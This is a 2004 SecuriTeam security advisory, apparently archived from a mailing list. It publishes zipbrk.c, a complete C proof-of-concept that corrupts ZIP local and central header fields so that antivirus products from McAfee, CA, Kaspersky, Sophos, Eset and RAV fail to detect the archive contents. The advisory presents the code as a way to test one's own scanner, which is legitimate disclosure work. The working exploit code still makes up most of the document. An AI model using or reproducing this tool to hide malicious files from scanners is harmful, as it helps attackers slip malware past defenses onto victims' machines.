

Securiteam: [EXPL] Multiple Vendor Anti-Virus Software Detection Evasion Vulnerability (Exploit)

# [EXPL] Multiple Vendor Anti-Virus Software Detection Evasion Vulnerability (Exploit)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0052.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 11/17/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 17 Nov 2004 10:23:01 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Multiple Vendor Anti-Virus Software Detection Evasion Vulnerability  
(Exploit)

---

## SUMMARY

As we reported in our previous advisory:

<<http://www.securiteam.com/securitynews/6E00G2ABFY.html>> Multiple Vendor Anti-Virus Software Detection Evasion Vulnerability, a vulnerability in several Anti-Virus products allows a malformed zip file to evade detection by the Anti-Virus program. The following exploit code can be used to test your Anti-Virus package for the vulnerabilities in question.

## DETAILS

Exploit:

/\*

zipbrk.c – Proof-of-Concept for CAN-2004-0932 – CAN-2004-0937

Copyright (C) 2004 oc.192 – SECU

This program is free software; you can redistribute it and/or modify it under the terms of the GNU

General Public License as published by the Free Software Foundation; either version 2 of the License,

## Securiteam: [EXPL] Multiple Vendor Anti-Virus Software Detection Evasion Vulnerability (Exploit)

or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place – Suite 330, Boston, MA 02111–1307, USA.

```
oc.192 phreaker net
```

```
*/
```

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
unsigned short LOCAL_HEADER_OFFSET = 16;  
unsigned short CENTRAL_HEADER_OFFSET = 18;  
unsigned long DATA_REPLACE_VALUE = 0x00000000;
```

```
void show_usage()
```

```
{  
printf("zipbrk – by oc.192 [oc.192@phreaker.net]\n");  
printf("Attempts to utilize the vulnerabilities described in:\n");  
printf("CAN–2004–0932 – McAfee\nCAN–2004–0933 – Computer Associates\n"  
"CAN–2004–0934 – Kaspersky\nCAN–2004–0937 – Sophos\n"  
"CAN–2004–0935 – Eset\nCAN–2004–0936 – RAV\n\n");  
printf(" Usage: zipbrk <zip_file>\n");  
}
```

```
void patch_file(FILE *hfile, unsigned long offset)
```

```
{  
char *buffer = malloc(1);  
  
memset(buffer, 0, 1);  
fseek(hfile, offset, SEEK_SET);  
fwrite(buffer, 1, 1, hfile);  
fwrite(buffer, 1, 1, hfile);  
fwrite(buffer, 1, 1, hfile);  
fwrite(buffer, 1, 1, hfile);  
free(buffer);  
}
```

```
void scan_file(char *filename)
```

```
{  
FILE *hfile;  
unsigned char buffer;  
unsigned long offset = 0;
```

## Securiteam: [EXPL] Multiple Vendor Anti-Virus Software Detection Evasion Vulnerability (Exploit)

```
if ((hfile = fopen(filename, "rb+")) == NULL)
{
printf("[-] Error: Unable to open %s", filename);
return;
}
printf("[+] Scanning %s ...\n", filename);

while (fread(&buffer, sizeof(buffer), 1, hfile))
{
if (buffer == 0x50)
{
fread(&buffer, sizeof(buffer), 1, hfile);
if (buffer == 0x4B)
{
fread(&buffer, sizeof(buffer), 1, hfile);
if (buffer == 0x01)
{
fread(&buffer, sizeof(buffer), 1, hfile);
if (buffer == 0x02)
{
/* perform write */
offset = ftell(hfile);
offset = offset + LOCAL_HEADER_OFFSET;
printf(" [-] Writing local header patch [0x%.8X]\n", offset);
patch_file(hfile, offset);
fseek(hfile, offset, SEEK_SET);
}
}
}
else if (buffer == 0x03)
{
fread(&buffer, sizeof(buffer), 1, hfile);
if (buffer == 0x04)
{
/* perform write */
offset = ftell(hfile);
offset = offset + CENTRAL_HEADER_OFFSET;
printf(" [-] Writing central header patch [0x%.8X]\n", offset);
patch_file(hfile, offset);
fseek(hfile, offset, SEEK_SET);
}
}
}
}
}
printf("[+] File scanning finished. EOF:%d ERR:%d\n", feof(hfile),
ferror(hfile));
fclose(hfile);
}

int main(int argc, char *argv[])
{
```

Securiteam: [EXPL] Multiple Vendor Anti-Virus Software Detection Evasion Vulnerability (Exploit)

```
if (argc != 2)
{
show_usage();
return 0;
}

if (!strcmp(argv[1], "-h") || !strcmp(argv[1], "?"))
{
show_usage();
return 0;
}

scan_file(argv[1]);

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:oc.192@phreaker.net> oc.192.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.